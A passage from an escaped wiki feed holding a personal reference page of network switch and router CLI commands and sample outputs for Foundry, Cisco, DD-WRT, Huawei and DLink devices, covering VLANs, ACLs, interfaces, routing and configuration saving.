Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6408</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6408"/>
		<updated>2022-06-26T17:37:36Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* DLink */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 nvram show|grep &amp;lt;something&amp;gt;&lt;br /&gt;
 nvram show|grep ports&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 for a in $(nvram show|grep &amp;lt;something&amp;gt;|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
# nvram commit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[edit] Port Attributes&lt;br /&gt;
&lt;br /&gt;
 0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!&lt;br /&gt;
 16 Tagged&lt;br /&gt;
 17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)&lt;br /&gt;
 18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
 19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)&lt;br /&gt;
 20 = NOT Enabled (ie. disabled) &lt;br /&gt;
 21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
 vlan#ports &lt;br /&gt;
    Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified. &lt;br /&gt;
port#vlans &lt;br /&gt;
    Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc. &lt;br /&gt;
vlan#hwname &lt;br /&gt;
    Activates a vlan, ensuring it is properly initialized. &lt;br /&gt;
&lt;br /&gt;
*attributes&lt;br /&gt;
These are suffixes for the final CPU port number.&lt;br /&gt;
*&amp;quot;t&amp;quot; &lt;br /&gt;
    tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan. &lt;br /&gt;
*&amp;quot;u&amp;quot; &lt;br /&gt;
    used on WAN vlan, to ensure WAN traffic is untagged. &lt;br /&gt;
*&amp;quot;*&amp;quot; &lt;br /&gt;
    used on default LAN VLAN, untagged incoming traffic goes here. &lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
